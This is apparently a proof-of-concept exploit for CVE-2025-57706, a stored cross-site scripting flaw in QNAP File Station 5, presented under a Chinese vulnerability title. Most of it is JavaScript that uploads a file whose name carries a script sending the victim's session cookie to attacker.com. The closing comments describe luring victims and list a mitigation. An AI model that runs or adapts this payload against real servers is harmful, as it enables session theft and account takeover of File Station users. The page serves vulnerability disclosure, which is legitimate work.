CVE-2025-57706: QNAP File Station 5 存储型跨站脚本漏洞

// CVE-2025-57706 PoC - Stored XSS in QNAP File Station 5 // This PoC demonstrates how an authenticated attacker can inject malicious JavaScript // through file upload functionality // Step 1: Create a malicious filename containing XSS payload const maliciousFilename = '<script>\n fetch("https://attacker.com/steal?cookie=" + document.cookie)\n</script>'; // Step 2: Upload file with XSS payload as filename async function exploitXSS() { const targetUrl = 'https://vulnerable-qnap-server/qwebfile/Upload'; // File Station upload endpoint const formData = new FormData(); formData.append('Filename', maliciousFilename); formData.append('File', new Blob(['test content'], {type: 'text/plain'}), 'test.txt'); try { const response = await fetch(targetUrl, { method: 'POST', credentials: 'include', // Include session cookies body: formData }); console.log('XSS payload uploaded successfully'); console.log('When other users view the file list, the script will execute'); } catch (error) { console.error('Exploitation failed:', error); } } // Step 3: Social engineering to make victim visit the page // The victim needs to access File Station file list page where the malicious filename is displayed // Mitigation: Upgrade to File Station 5.5.6.5018 or later // Or implement input sanitization and output encoding on the server side